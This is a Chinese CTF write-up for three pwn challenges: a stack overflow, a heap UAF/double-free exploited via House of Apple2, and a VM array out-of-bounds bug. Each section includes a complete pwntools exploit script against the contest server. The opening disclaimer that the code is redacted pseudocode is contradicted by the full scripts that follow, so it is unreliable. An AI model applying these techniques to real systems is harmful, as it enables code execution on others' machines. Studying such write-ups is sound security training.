创宇杯2026
合规声明:本文仅用于安全研究与防御,全部实验在自建环境完成;代码为伪代码或已打码,不包含可直接复用的完整利用程序(PRD 3.7)。
第一届创宇杯网络安全技能大赛
这神人比赛真的难评。。。
一.blindrop
1.漏洞类型:栈溢出

main 函数是一个 while 循环

可以溢出很多字节
expected 的偏移为 [ebp + 0x8],f.canary 的偏移为 [ebp - 0xC]
2.利用思路:
由于是32位程序,gadget 都不用找,先栈溢出泄露 libc,返回到 main 函数再来一次栈溢出拿 shell
3.Exploit
from pwn import *
io = remote(b'challenge.xiaoyuyc.com', 31100)
# io = process(b'./blindrop')
elf = ELF(b'./blindrop')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
bss_addr = 0x0804B000 + 0x50
# fake_canary 0x80
# expected ebp + 8
# offset 0x8C
main_addr = 0x080492c2
canary = main_addr
payload = 0x80 * b'a' + p32(canary) + b'a' * 8 + p32(bss_addr)
payload += p32(puts_plt) + p32(canary) + p32(puts_got)
io.send(payload)
io.recvuntil(b'canary check passed.\n')
libc_base = u32(io.recv(4)) - 0x72810
success("libc_base:" + hex(libc_base))
system_addr = libc_base + 0x47cd0
bin_sh = libc_base + 0x1b90d5
payload = 0x80 * b'a' + p32(canary) + b'a' * 8 + p32(bss_addr)
payload += p32(system_addr) + p32(canary) + p32(bin_sh)
io.send(payload)
io.interactive()
二.miao
1.漏洞类型:uaf, off-by-null, double free

上图为 add 结构,可申请16个 chunk,会清空申请的 chunk,限制申请 size<=0x500

释放堆块后并没有置零指针,也没有其他标志位检查,存在 double free 漏洞

存在 UAF 漏洞,如果 chunk 已经被释放,仍然会读取内容

存在 off-by-null 漏洞,同时没有任何标志位检查,存在 UAF 漏洞
2.利用思路:
先布置 chunk0 0x440,chunk1 0x290,chunk2 0x290,防止 chunk0 释放后与 top chunk 合并,释放 chunk0 拿到 libc_base
再释放 chunk1 拿到 heap_addr,同时也让 count++
最后释放 chunk2,修改 chunk2 的指针(记得指针混淆)为 _IO_list_all 后 House of apple2
3.Exploit
from pwn import *
# io = process(b'/home/mixt/pwn/miao_patched')
io = remote(b'challenge.xiaoyuyc.com', 36879)
libc = ELF(b'./libc.so.6')
def cmd(choice):
io.sendlineafter(b'>>', str(choice).encode())
def add(size, content):
cmd(1)
io.sendlineafter(b'Size: ', str(size).encode())
io.sendafter(b'Content: ', content)
def delete(idx):
cmd(2)
io.sendlineafter(b'Index: ', str(idx).encode())
def show(idx):
cmd(3)
io.sendlineafter(b'Index: ', str(idx).encode())
def edit(idx, content):
cmd(4)
io.sendlineafter(b'Index: ', str(idx).encode())
io.sendafter(b'Content: ', content)
add(0x430, b'0')
add(0x280, b'1')
add(0x280, b'2')
delete(0)
show(0)
io.recvuntil(b'Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
success('libc_base:' + hex(libc_base))
delete(1)
show(1)
io.recvuntil(b'Content: ')
heap_addr = u64(io.recv(8))
heap_addr = heap_addr << 12
success('heap_addr:' + hex(heap_addr))
system_addr = libc_base + libc.symbols['system']
IO_wfile_jumps = libc_base + libc.symbols['_IO_wfile_jumps']
IO_list_all = libc_base + libc.symbols['_IO_list_all']
delete(2)
secert = (heap_addr + 0x10) ^ (heap_addr >> 12)
edit(2, p64(secert))
add(0x280, b'3')
res = [b'\x01\x00' for _ in range(64)]
add(0x280, b''.join(res) + p64(IO_list_all)) # 4
add(0x10, p64(heap_addr + 0x2a0)) # 5
payload = flat({
0x0: b' sh;',
0xd8: p64(IO_wfile_jumps),
0xb8: 1,
0xc0: 1,
0xc8: 1,
0xa0: p64(heap_addr + 0x2a0 + 0x100),
0x118: p64(0),
0x120: p64(1),
0x130: p64(0),
0x1e0: p64(heap_addr + 0x2a0 + 0x200),
0x200: p64(system_addr) * 20
}, filler=b'\x00')
success('IO_list_all:' + hex(IO_list_all))
edit(0, payload)
# gdb.attach(io)
cmd(5)
io.interactive()
三.vmpwn
1.漏洞类型:数组越界

输入 size 和 code 后进入 run_vm 函数
void __cdecl run_vm(const uint8_t *code, size_t len)
{
size_t v2; // rax
size_t v3; // rax
size_t v4; // rax
size_t v5; // rax
VM vm; // [rsp+10h] [rbp-100h] BYREF
uint64_t v; // [rsp+E8h] [rbp-28h]
uint64_t v_0; // [rsp+F0h] [rbp-20h]
int8_t idx; // [rsp+FCh] [rbp-14h]
int8_t idx_0; // [rsp+FDh] [rbp-13h]
uint8_t which; // [rsp+FEh] [rbp-12h]
uint8_t op; // [rsp+FFh] [rbp-11h]
size_t ip_0; // [rsp+100h] [rbp-10h]
size_t i; // [rsp+108h] [rbp-8h]
for ( i = 0; i <= 7; ++i )
vm.mem[i] = 0;
vm.funcs[0] = safe_fn;
vm.funcs[1] = (void (*)(void))exit0;
vm.sp = 0;
ip_0 = 0;
while ( ip_0 < len )
{
v2 = ip_0++;
op = code[v2];
switch ( op )
{
case 1u:
if ( len < ip_0 + 8 )
_exit(0);
v = read_u64_le(&code[ip_0]);
ip_0 += 8LL;
vm_push(&vm, v);
break;
case 2u:
if ( len < ip_0 + 1 )
_exit(0);
v3 = ip_0++;
idx = code[v3];
v_0 = vm_pop(&vm);
vm.mem[idx] = v_0;
break;
case 3u:
if ( len < ip_0 + 1 )
_exit(0);
v4 = ip_0++;
idx_0 = code[v4];
vm_push(&vm, vm.mem[idx_0]);
break;
case 4u:
if ( len < ip_0 + 1 )
_exit(0);
v5 = ip_0++;
which = code[v5];
if ( which > 1u )
_exit(0);
vm.funcs[which]();
break;
case 5u:
return;
default:
puts("bad opcode");
_exit(0);
}
}
}
一共有4个选项:
- 选项1将可控8字节数据压入栈
- 选项2从栈上取出8字节数据并放入数组,其中数组下标可控
- 选项3把数组里面的数据压入栈
- 选项4执行
func0/func1
uint64_t __cdecl read_u64_le(const uint8_t *p)
{
return ((unsigned __int64)p[6] << 48)
| ((unsigned __int64)p[5] << 40)
| ((unsigned __int64)p[4] << 32)
| ((unsigned __int64)p[3] << 24)
| ((unsigned __int64)p[2] << 16)
| *(unsigned __int16 *)p
| ((unsigned __int64)p[7] << 56);
}
void __cdecl vm_push(VM *vm, uint64_t v)
{
int sp; // eax
if ( vm->sp > 15 )
{
puts("stack overflow");
_exit(0);
}
sp = vm->sp;
vm->sp = sp + 1;
vm->stack[sp] = v;
}
uint64_t __cdecl vm_pop(VM *vm)
{
if ( vm->sp <= 0 )
{
puts("stack underflow");
_exit(0);
}
return vm->stack[--vm->sp];
}

同时,题目中还存在一个后门函数 win
2.利用思路
将后门函数压入栈中,并利用数组越界覆盖 func0 / func1,执行后门函数
3.Exploit
from pwn import *
context(os='linux', arch='amd64')
# io = process(b'./vmpwn_patched')
io = remote(b'challenge.xiaoyuyc.com', 40478)
# backdoor = 0x4012c7
payload = p8(1) + p64(0x4012c7) + p8(2) + p8(0x8) + p8(4) + p8(0)
# gdb.attach(io)
io.sendlineafter(b'len>', str(len(payload)).encode())
io.send(payload)
io.interactive()